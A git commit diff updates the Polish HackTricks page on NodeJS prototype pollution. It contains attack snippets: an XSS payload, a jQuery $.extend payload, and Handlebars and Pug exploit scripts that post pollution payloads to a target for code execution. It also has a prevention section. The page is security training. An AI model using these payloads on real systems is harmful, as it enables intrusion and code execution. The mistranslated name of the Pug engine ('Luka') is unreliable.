mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu
This commit is contained in:
parent
4ac1fb153b
commit
98f94b3a90
1 changed files with 71 additions and 70 deletions
|
@ -1,31 +1,29 @@
|
|||
# NodeJS - \_\_proto\_\_ & prototype Pollution
|
||||
# NodeJS - Zanieczyszczenie \_\_proto\_\_ & prototype
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Obiekty w JavaScript <a href="#053a" id="053a"></a>
|
||||
## Obiekty w JavaScript <a href="#id-053a" id="id-053a"></a>
|
||||
|
||||
Obiekty w JavaScript są w zasadzie kolekcjami par klucz-wartość, znanych jako właściwości. Obiekt można utworzyć za pomocą `Object.create` z argumentem `null`, aby utworzyć pusty obiekt. Ta metoda pozwala na utworzenie obiektu bez dziedziczonych właściwości.
|
||||
Obiekty w JavaScript są w zasadzie kolekcjami par klucz-wartość, znanych jako właściwości. Obiekt można utworzyć za pomocą `Object.create` z `null` jako argumentem, aby utworzyć pusty obiekt. Ta metoda pozwala na utworzenie obiektu bez dziedziczonych właściwości.
|
||||
```javascript
|
||||
// Run this in the developers tools console
|
||||
console.log(Object.create(null)); // This will output an empty object.
|
||||
```
|
||||
Pusty obiekt jest podobny do pustego słownika, reprezentowanego jako `{}`.
|
||||
### Funkcje i Klasy w JavaScript
|
||||
|
||||
### Funkcje i klasy w JavaScript
|
||||
|
||||
W JavaScript funkcje i klasy są ściśle powiązane, gdzie funkcje często pełnią rolę konstruktorów klas. Pomimo braku natywnego wsparcia dla klas w JavaScript, konstruktory mogą emulować zachowanie klas.
|
||||
W JavaScript, klasy i funkcje są ściśle powiązane, gdzie funkcje często pełnią rolę konstruktorów dla klas. Pomimo braku natywnej obsługi klas w JavaScript, konstruktory mogą emulować zachowanie klas.
|
||||
```javascript
|
||||
// Run this in the developers tools console
|
||||
|
||||
|
@ -45,21 +43,21 @@ employee1.__proto__
|
|||
```
|
||||
### Prototypy w JavaScript
|
||||
|
||||
JavaScript umożliwia modyfikację, dodawanie lub usuwanie atrybutów prototypu w czasie wykonywania. Ta elastyczność umożliwia dynamiczne rozszerzanie funkcjonalności klasy.
|
||||
JavaScript pozwala na modyfikację, dodawanie lub usuwanie atrybutów prototypu w czasie wykonywania. Ta elastyczność umożliwia dynamiczne rozszerzanie funkcjonalności klasy.
|
||||
|
||||
Funkcje takie jak `toString` i `valueOf` mogą być zmieniane, aby zmienić ich zachowanie, co pokazuje elastyczność systemu prototypów w JavaScript.
|
||||
Funkcje takie jak `toString` i `valueOf` mogą być zmienione, aby zmienić ich zachowanie, co pokazuje adaptacyjny charakter systemu prototypów w JavaScript.
|
||||
|
||||
## Dziedziczenie
|
||||
|
||||
W programowaniu opartym na prototypach, właściwości/metody są dziedziczone przez obiekty z klas. Te klasy są tworzone poprzez dodawanie właściwości/metod do instancji innej klasy lub do pustego obiektu.
|
||||
W programowaniu opartym na prototypach, właściwości/metody są dziedziczone przez obiekty z klas. Te klasy są tworzone poprzez dodawanie właściwości/metod albo do instancji innej klasy, albo do pustego obiektu.
|
||||
|
||||
Należy zauważyć, że gdy do obiektu służącego jako prototyp dla innych obiektów (takiego jak `myPersonObj`) dodawana jest właściwość, dziedziczące obiekty zyskują dostęp do tej nowej właściwości. Jednak ta właściwość nie jest automatycznie wyświetlana, chyba że zostanie jawnie wywołana.
|
||||
Warto zauważyć, że gdy właściwość jest dodawana do obiektu służącego jako prototyp dla innych obiektów (takich jak `myPersonObj`), dziedziczące obiekty uzyskują dostęp do tej nowej właściwości. Jednak ta właściwość nie jest automatycznie wyświetlana, chyba że jest jawnie wywołana.
|
||||
|
||||
## Zanieczyszczenie \_\_proto\_\_ <a href="#0d0a" id="0d0a"></a>
|
||||
## Zanieczyszczenie \_\_proto\_\_ <a href="#id-0d0a" id="id-0d0a"></a>
|
||||
|
||||
## Badanie zanieczyszczenia prototypu w JavaScript
|
||||
|
||||
Obiekty JavaScript są definiowane przez pary klucz-wartość i dziedziczą po prototypie JavaScript Object. Oznacza to, że zmiana prototypu Object może wpływać na wszystkie obiekty w środowisku.
|
||||
Obiekty JavaScript są definiowane przez pary klucz-wartość i dziedziczą po prototypie obiektu JavaScript. Oznacza to, że zmiana prototypu Object może wpłynąć na wszystkie obiekty w środowisku.
|
||||
|
||||
Przyjrzyjmy się innemu przykładowi, aby to zilustrować:
|
||||
```javascript
|
||||
|
@ -73,7 +71,7 @@ Dostęp do prototypu obiektu jest możliwy poprzez:
|
|||
car1.__proto__.__proto__;
|
||||
Vehicle.__proto__.__proto__;
|
||||
```
|
||||
Dodając właściwości do prototypu Object, każdy obiekt JavaScript odziedziczy te nowe właściwości:
|
||||
Poprzez dodanie właściwości do prototypu Object, każdy obiekt JavaScript odziedziczy te nowe właściwości:
|
||||
```javascript
|
||||
function Vehicle(model) {
|
||||
this.model = model;
|
||||
|
@ -88,7 +86,7 @@ console.log(car1.isVehicle); // Outputs true
|
|||
```
|
||||
## zanieczyszczenie prototypu
|
||||
|
||||
W przypadku, gdy korzystanie z `__proto__` jest ograniczone, modyfikowanie prototypu funkcji stanowi alternatywę:
|
||||
Dla scenariusza, w którym korzystanie z `__proto__` jest ograniczone, modyfikacja prototypu funkcji jest alternatywą:
|
||||
```javascript
|
||||
function Vehicle(model) {
|
||||
this.model = model;
|
||||
|
@ -104,11 +102,11 @@ console.log(car1.hasWheels); // Outputs true
|
|||
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
|
||||
car1.constructor.prototype.isElectric = true;
|
||||
```
|
||||
To wpływa tylko na obiekty utworzone za pomocą konstruktora `Vehicle`, nadając im właściwości `beep`, `hasWheels`, `honk` i `isElectric`.
|
||||
To dotyczy tylko obiektów utworzonych za pomocą konstruktora `Vehicle`, nadając im właściwości `beep`, `hasWheels`, `honk` i `isElectric`.
|
||||
|
||||
Dwa sposoby globalnego wpływania na obiekty JavaScript poprzez zanieczyszczanie prototypu obejmują:
|
||||
|
||||
1. Bezpośrednie zanieczyszczanie `Object.prototype`:
|
||||
1. Zanieczyszczanie `Object.prototype` bezpośrednio:
|
||||
```javascript
|
||||
Object.prototype.goodbye = function() { console.log("Goodbye!"); };
|
||||
```
|
||||
|
@ -117,13 +115,13 @@ Object.prototype.goodbye = function() { console.log("Goodbye!"); };
|
|||
var example = {"key": "value"};
|
||||
example.constructor.prototype.greet = function() { console.log("Hello!"); };
|
||||
```
|
||||
Po tych operacjach każdy obiekt JavaScript może wykonywać metody `goodbye` i `greet`.
|
||||
Po tych operacjach każdy obiekt JavaScript może wykonać metody `goodbye` i `greet`.
|
||||
|
||||
## Zanieczyszczanie innych obiektów
|
||||
|
||||
### Z klasy do Object.prototype
|
||||
|
||||
W scenariuszu, w którym możesz **zanieczyścić określony obiekt** i musisz **dostać się do `Object.prototype`**, możesz go wyszukać za pomocą kodu podobnego do poniższego:
|
||||
W scenariuszu, gdzie możesz **zanieczyścić określony obiekt** i musisz **dostać się do `Object.prototype`**, możesz wyszukać go za pomocą kodu podobnego do poniższego:
|
||||
```javascript
|
||||
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
|
||||
|
||||
|
@ -146,7 +144,7 @@ console.log(key1 + "." + key2)
|
|||
```
|
||||
### Zanieczyszczanie elementów tablicy
|
||||
|
||||
Należy zauważyć, że w JS można zanieczyścić atrybuty obiektów, a jeśli masz dostęp do zanieczyszczenia tablicy, możesz również **zanieczyścić wartości tablicy** dostępne **poprzez indeksy** (należy zauważyć, że nie można nadpisać wartości, dlatego trzeba zanieczyścić indeksy, które są w jakiś sposób używane, ale nie zapisywane).
|
||||
Zauważ, że tak jak możesz zanieczyścić atrybuty obiektów w JS, jeśli masz dostęp do zanieczyszczenia tablicy, możesz również **zanieczyścić wartości tablicy** dostępne **poprzez indeksy** (zauważ, że nie możesz nadpisać wartości, dlatego musisz zanieczyścić indeksy, które są w jakiś sposób używane, ale nie zapisywane).
|
||||
```javascript
|
||||
c = [1,2]
|
||||
a = []
|
||||
|
@ -156,9 +154,9 @@ b[0] //undefined
|
|||
b[1] //"yolo"
|
||||
c[1] // 2 -- not
|
||||
```
|
||||
### Zanieczyszczenie elementów HTML
|
||||
### Zanieczyszczenie elementów Html
|
||||
|
||||
Podczas generowania elementu HTML za pomocą JS można **nadpisać** atrybut **`innerHTML`**, aby umożliwić wpisywanie **dowolnego kodu HTML**. [Pomysł i przykład pochodzą z tego opracowania](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
Podczas generowania elementu HTML za pomocą JS można **nadpisać** atrybut **`innerHTML`**, aby napisać **dowolny kod HTML.** [Pomysł i przykład z tego wpisu](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -177,13 +175,13 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
|||
|
||||
### Podstawowy przykład
|
||||
|
||||
Zanieczyszczenie prototypu występuje z powodu błędu w aplikacji, który umożliwia nadpisanie właściwości na `Object.prototype`. Oznacza to, że większość obiektów dziedziczy swoje właściwości z `Object.prototype`.
|
||||
Zanieczyszczenie prototypu występuje z powodu błędu w aplikacji, który pozwala na nadpisanie właściwości w `Object.prototype`. Oznacza to, że ponieważ większość obiektów czerpie swoje właściwości z `Object.prototype`.
|
||||
|
||||
Najprostszym przykładem jest dodanie wartości do **niezdefiniowanego atrybutu obiektu**, który zostanie sprawdzony, na przykład:
|
||||
Najprostszym przykładem jest dodanie wartości do **niezdefiniowanej atrybutu obiektu**, który ma zostać sprawdzony, na przykład:
|
||||
```javascript
|
||||
if (user.admin) {
|
||||
```
|
||||
Jeśli atrybut **`admin` jest niezdefiniowany**, istnieje możliwość wykorzystania PP i ustawienia go na wartość True za pomocą czegoś takiego jak:
|
||||
Jeśli atrybut **`admin` jest niezdefiniowany**, istnieje możliwość nadużycia prototypowego zanieczyszczenia i ustawienia go na True za pomocą:
|
||||
```javascript
|
||||
Object.prototype.isAdmin = true
|
||||
let user = {}
|
||||
|
@ -191,66 +189,69 @@ user.isAdmin // true
|
|||
```
|
||||
Mechanizm polega na manipulowaniu właściwościami w taki sposób, że jeśli atakujący ma kontrolę nad określonymi danymi wejściowymi, może zmodyfikować prototyp wszystkich obiektów w aplikacji. Manipulacja ta zazwyczaj polega na ustawieniu właściwości `__proto__`, która w języku JavaScript jest synonimem bezpośredniej modyfikacji prototypu obiektu.
|
||||
|
||||
Warunki, w których ten atak może być skutecznie wykonany, jak opisano w konkretnej [studi](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), obejmują:
|
||||
|
||||
- Wykonywanie rekurencyjnego scalania.
|
||||
- Definiowanie właściwości na podstawie ścieżki.
|
||||
- Klonowanie obiektów.
|
||||
Warunki, w których atak ten może być skutecznie wykonany, jak opisano w konkretnym [studium](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf), obejmują:
|
||||
|
||||
* Wykonywanie rekurencyjnego scalania.
|
||||
* Definiowanie właściwości na podstawie ścieżki.
|
||||
* Klonowanie obiektów.
|
||||
|
||||
### Nadpisanie funkcji
|
||||
```python
|
||||
customer.__proto__.toString = ()=>{alert("polluted")}
|
||||
```
|
||||
### Proto Pollution do RCE
|
||||
### Zanieczyszczenie prototypu w celu zdalnego wykonania kodu
|
||||
|
||||
{% content-ref url="prototype-pollution-to-rce.md" %}
|
||||
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Proto Pollution po stronie klienta do XSS
|
||||
## Zanieczyszczenie prototypu po stronie klienta w celu XSS
|
||||
|
||||
{% content-ref url="client-side-prototype-pollution.md" %}
|
||||
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CVE-2019–11358: Atak prototype pollution poprzez jQuery $ .extend
|
||||
### CVE-2019–11358: Atak zanieczyszczenia prototypu poprzez jQuery $ .extend
|
||||
|
||||
[Aby uzyskać więcej informacji, sprawdź ten artykuł](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
W jQuery funkcja `$ .extend` może prowadzić do prototype pollution, jeśli funkcja kopiowania głębokiego jest niewłaściwie wykorzystywana. Ta funkcja jest często używana do klonowania obiektów lub łączenia właściwości z domyślnego obiektu. Jednak gdy jest źle skonfigurowana, właściwości przeznaczone dla nowego obiektu mogą zostać przypisane do prototypu. Na przykład:
|
||||
[Aby uzyskać więcej informacji, sprawdź ten artykuł](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) W jQuery, funkcja `$ .extend` może prowadzić do zanieczyszczenia prototypu, jeśli funkcja kopiowania głębokiego jest używana nieprawidłowo. Ta funkcja jest często używana do klonowania obiektów lub łączenia właściwości z obiektu domyślnego. Jednakże, gdy jest źle skonfigurowana, właściwości przeznaczone dla nowego obiektu mogą być przypisane do prototypu. Na przykład:
|
||||
```javascript
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
|
||||
console.log({}.devMode); // Outputs: true
|
||||
```
|
||||
Ta podatność, zidentyfikowana jako CVE-2019-11358, ilustruje, jak głęboka kopia może niechcący modyfikować prototyp, co prowadzi do potencjalnych zagrożeń dla bezpieczeństwa, takich jak nieautoryzowany dostęp administratora, jeśli właściwości takie jak `isAdmin` są sprawdzane bez odpowiedniej weryfikacji istnienia.
|
||||
Ta podatność, zidentyfikowana jako CVE-2019–11358, ilustruje, jak głęboka kopia może nieumyślnie modyfikować prototyp, prowadząc do potencjalnych zagrożeń dla bezpieczeństwa, takich jak nieautoryzowany dostęp administratora, jeśli właściwości takie jak `isAdmin` są sprawdzane bez odpowiedniej weryfikacji istnienia.
|
||||
|
||||
### CVE-2018-3721, CVE-2019-10744: Atak zanieczyszczenia prototypu za pomocą lodash
|
||||
### CVE-2018–3721, CVE-2019–10744: Atak zanieczyszczenia prototypu poprzez lodash
|
||||
|
||||
[Aby uzyskać więcej szczegółów, sprawdź ten artykuł](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
|
||||
[Lodash](https://www.npmjs.com/package/lodash) napotkał podobne podatności na zanieczyszczenie prototypu (CVE-2018-3721, CVE-2019-10744). Te problemy zostały rozwiązane w wersji 4.17.11.
|
||||
[Lodash](https://www.npmjs.com/package/lodash) napotkał podobne podatności na zanieczyszczenie prototypu (CVE-2018–3721, CVE-2019–10744). Te problemy zostały rozwiązane w wersji 4.17.11.
|
||||
|
||||
### Inny samouczek z CVE
|
||||
|
||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||
|
||||
### Narzędzia do wykrywania zanieczyszczenia prototypu
|
||||
|
||||
* [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Rozszerzenie Burp Suite zaprojektowane do wykrywania i analizowania podatności na zanieczyszczenie prototypu po stronie serwera w aplikacjach internetowych. Narzędzie to automatyzuje proces skanowania żądań w celu zidentyfikowania potencjalnych problemów z zanieczyszczeniem prototypu. Wykorzystuje znane gadżety - metody wykorzystywania zanieczyszczenia prototypu do wykonywania szkodliwych działań - skupiając się szczególnie na bibliotekach Node.js.
|
||||
* [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): To rozszerzenie identyfikuje podatności na zanieczyszczenie prototypu po stronie serwera. Wykorzystuje techniki opisane w [zanieczyszczeniu prototypu po stronie serwera](https://portswigger.net/research/server-side-prototype-pollution).
|
||||
|
||||
### Zanieczyszczenie prototypu AST w NodeJS
|
||||
|
||||
NodeJS szeroko wykorzystuje drzewa składni abstrakcyjnej (AST) w języku JavaScript do funkcji takich jak silniki szablonów i TypeScript. Ta sekcja omawia podatności związane z zanieczyszczeniem prototypu w silnikach szablonów, w szczególności Handlebars i Pug.
|
||||
NodeJS szeroko wykorzystuje Drzewa Składni Abstrakcyjnej (AST) w JavaScript do funkcji takich jak silniki szablonów i TypeScript. Ta sekcja bada podatności związane z zanieczyszczeniem prototypu w silnikach szablonów, w szczególności Handlebars i Pug.
|
||||
|
||||
#### Analiza podatności Handlebars
|
||||
|
||||
Silnik szablonów Handlebars jest podatny na atak zanieczyszczenia prototypu. Ta podatność wynika z konkretnych funkcji w pliku `javascript-compiler.js`. Na przykład funkcja `appendContent` łączy `pendingContent`, jeśli jest obecna, podczas gdy funkcja `pushSource` resetuje `pendingContent` na `undefined` po dodaniu źródła.
|
||||
Silnik szablonów Handlebars jest podatny na atak zanieczyszczenia prototypu. Ta podatność wynika z konkretnych funkcji w pliku `javascript-compiler.js`. Funkcja `appendContent`, na przykład, łączy `pendingContent`, jeśli jest obecny, podczas gdy funkcja `pushSource` resetuje `pendingContent` na `undefined` po dodaniu źródła.
|
||||
|
||||
##### Proces wykorzystania
|
||||
**Proces eksploatacji**
|
||||
|
||||
Wykorzystanie polega na wykorzystaniu drzewa składni abstrakcyjnej (AST), które jest generowane przez Handlebars, postępując według tych kroków:
|
||||
Eksploatacja wykorzystuje AST (Drzewo Składni Abstrakcyjnej) wygenerowane przez Handlebars, postępując zgodnie z tymi krokami:
|
||||
|
||||
1. **Manipulacja analizatorem**: Na początku analizator, za pomocą węzła `NumberLiteral`, wymusza, że wartości są numeryczne. Zanieczyszczenie prototypu może ominąć to, umożliwiając wstawienie nie-numerycznych ciągów znaków.
|
||||
2. **Obsługa przez kompilator**: Kompilator może przetwarzać obiekt AST lub szablon w postaci ciągu znaków. Jeśli `input.type` jest równe `Program`, wejście jest traktowane jako wcześniej sparsowane, co można wykorzystać.
|
||||
3. **Wstrzyknięcie kodu**: Poprzez manipulację `Object.prototype`, można wstrzyknąć dowolny kod do funkcji szablonu, co może prowadzić do zdalnego wykonania kodu.
|
||||
1. **Manipulacja przez Parser**: Początkowo parser, poprzez węzeł `NumberLiteral`, narzuca, że wartości są numeryczne. Zanieczyszczenie prototypu może ominąć to, umożliwiając wstawienie nie numerycznych ciągów znaków.
|
||||
2. **Obsługa przez Kompilator**: Kompilator może przetwarzać obiekt AST lub szablon łańcuchowy. Jeśli `input.type` równa się `Program`, wejście jest traktowane jako wstępnie sparsowane, co można wykorzystać.
|
||||
3. **Wstrzyknięcie Kodu**: Poprzez manipulację `Object.prototype`, można wstrzyknąć dowolny kod do funkcji szablonu, co może prowadzić do zdalnego wykonania kodu.
|
||||
|
||||
Przykład demonstrujący wykorzystanie podatności Handlebars:
|
||||
Przykład demonstrujący eksploatację podatności Handlebars:
|
||||
```javascript
|
||||
const Handlebars = require('handlebars');
|
||||
|
||||
|
@ -273,11 +274,11 @@ const template = Handlebars.precompile(source);
|
|||
|
||||
console.log(eval('(' + template + ')')['main'].toString());
|
||||
```
|
||||
Ten kod pokazuje, jak atakujący może wstrzyknąć dowolny kod do szablonu Handlebars.
|
||||
Ten kod prezentuje, jak atakujący może wstrzyknąć dowolny kod do szablonu Handlebars.
|
||||
|
||||
**Odnośnik zewnętrzny**: Znaleziono problem związany z zanieczyszczeniem prototypu w bibliotece 'flat', szczegóły można znaleźć tutaj: [Problem na GitHubie](https://github.com/hughsk/flat/issues/105).
|
||||
**Zewnętrzne odniesienie**: Znaleziono problem związany z zanieczyszczeniem prototypu w bibliotece 'flat', jak szczegółowo opisano tutaj: [Problem na GitHub](https://github.com/hughsk/flat/issues/105).
|
||||
|
||||
**Odnośnik zewnętrzny**: [Problem związany z zanieczyszczeniem prototypu w bibliotece 'flat'](https://github.com/hughsk/flat/issues/105)
|
||||
**Zewnętrzne odniesienie**: [Problem związany z zanieczyszczeniem prototypu w bibliotece 'flat'](https://github.com/hughsk/flat/issues/105)
|
||||
|
||||
Przykład wykorzystania zanieczyszczenia prototypu w Pythonie:
|
||||
```python
|
||||
|
@ -305,11 +306,11 @@ requests.post(TARGET_URL + '/vulnerable', json = {
|
|||
# execute
|
||||
requests.get(TARGET_URL)
|
||||
```
|
||||
#### Podatność Pug
|
||||
#### Luka Vulnerability
|
||||
|
||||
Pug, inny silnik szablonów, narażony jest na podobne ryzyko związane z zanieczyszczeniem prototypu. Szczegółowe informacje są dostępne w dyskusji na temat [Wstrzykiwania AST w Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||
Luka, inny silnik szablonów, stoi w obliczu podobnego ryzyka zanieczyszczenia prototypu. Szczegółowe informacje są dostępne w dyskusji na temat [Wstrzyknięcia AST w Luce](https://blog.p6.is/AST-Injection/#Pug).
|
||||
|
||||
Przykład zanieczyszczenia prototypu w Pug:
|
||||
Przykład zanieczyszczenia prototypu w Luce:
|
||||
```python
|
||||
import requests
|
||||
|
||||
|
@ -328,21 +329,21 @@ requests.get(TARGET_URL)
|
|||
```
|
||||
### Środki zapobiegawcze
|
||||
|
||||
Aby zminimalizować ryzyko zanieczyszczenia prototypu, można zastosować poniższe strategie:
|
||||
Aby zmniejszyć ryzyko zanieczyszczenia prototypu, można zastosować poniższe strategie:
|
||||
|
||||
1. **Niezmiennosć obiektu**: `Object.prototype` można uczynić niemutowalnym poprzez zastosowanie `Object.freeze`.
|
||||
2. **Walidacja danych wejściowych**: Dane JSON powinny być rygorystycznie walidowane zgodnie z schematem aplikacji.
|
||||
3. **Bezpieczne funkcje scalające**: Należy unikać niebezpiecznego użycia rekurencyjnych funkcji scalających.
|
||||
1. **Niezmienność obiektu**: `Object.prototype` można uczynić niemutowalnym, stosując `Object.freeze`.
|
||||
2. **Walidacja wejścia**: Dane JSON powinny być rygorystycznie walidowane zgodnie z schematem aplikacji.
|
||||
3. **Bezpieczne funkcje scalania**: Należy unikać niebezpiecznego użycia rekurencyjnych funkcji scalania.
|
||||
4. **Obiekty bez prototypu**: Obiekty bez właściwości prototypu można tworzyć za pomocą `Object.create(null)`.
|
||||
5. **Użycie Map**: Zamiast `Object`, należy używać `Map` do przechowywania par klucz-wartość.
|
||||
6. **Aktualizacje bibliotek**: Regularne aktualizowanie bibliotek pozwala na włączenie poprawek związanych z bezpieczeństwem.
|
||||
7. **Linter i narzędzia analizy statycznej**: Używaj narzędzi takich jak ESLint z odpowiednimi wtyczkami do wykrywania i zapobiegania podatnościom na zanieczyszczenie prototypu.
|
||||
8. **Przeglądy kodu**: Przeprowadzaj dokładne przeglądy kodu w celu identyfikacji i usuwania potencjalnych zagrożeń związanych z zanieczyszczeniem prototypu.
|
||||
5. **Użycie Map**: Zamiast `Object`, do przechowywania par klucz-wartość należy używać `Map`.
|
||||
6. **Aktualizacje bibliotek**: Poprawki bezpieczeństwa można wdrożyć regularnie aktualizując biblioteki.
|
||||
7. **Narzędzia do analizy statycznej i linter**: Używaj narzędzi takich jak ESLint z odpowiednimi wtyczkami do wykrywania i zapobiegania podatnościom na zanieczyszczenie prototypu.
|
||||
8. **Przeglądy kodu**: Wdrożenie dokładnych przeglądów kodu w celu identyfikacji i usuwania potencjalnych ryzyk związanych z zanieczyszczeniem prototypu.
|
||||
9. **Szkolenia z bezpieczeństwa**: Edukuj programistów na temat ryzyka zanieczyszczenia prototypu i najlepszych praktyk pisania bezpiecznego kodu.
|
||||
10. **Ostrożne korzystanie z bibliotek**: Bądź ostrożny podczas korzystania z bibliotek osób trzecich. Oceń ich postawę w zakresie bezpieczeństwa i przejrzyj ich kod, zwłaszcza te manipulujące obiektami.
|
||||
11. **Ochrona w czasie wykonywania**: Wykorzystuj mechanizmy ochrony w czasie wykonywania, takie jak używanie pakietów npm skoncentrowanych na bezpieczeństwie, które mogą wykrywać i zapobiegać atakom zanieczyszczenia prototypu.
|
||||
10. **Używanie bibliotek ostrożnie**: Bądź ostrożny podczas korzystania z bibliotek innych firm. Oceniaj ich postawę w zakresie bezpieczeństwa i przeglądaj ich kod, zwłaszcza te manipulujące obiektami.
|
||||
11. **Ochrona w czasie wykonywania**: Stosuj mechanizmy ochrony w czasie wykonywania, takie jak korzystanie z pakietów npm skoncentrowanych na bezpieczeństwie, które mogą wykrywać i zapobiegać atakom zanieczyszczenia prototypu.
|
||||
|
||||
## Odwołania
|
||||
## Odnośniki
|
||||
|
||||
* [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||
* [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
|
||||
|
@ -355,10 +356,10 @@ Aby zminimalizować ryzyko zanieczyszczenia prototypu, można zastosować poniż
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue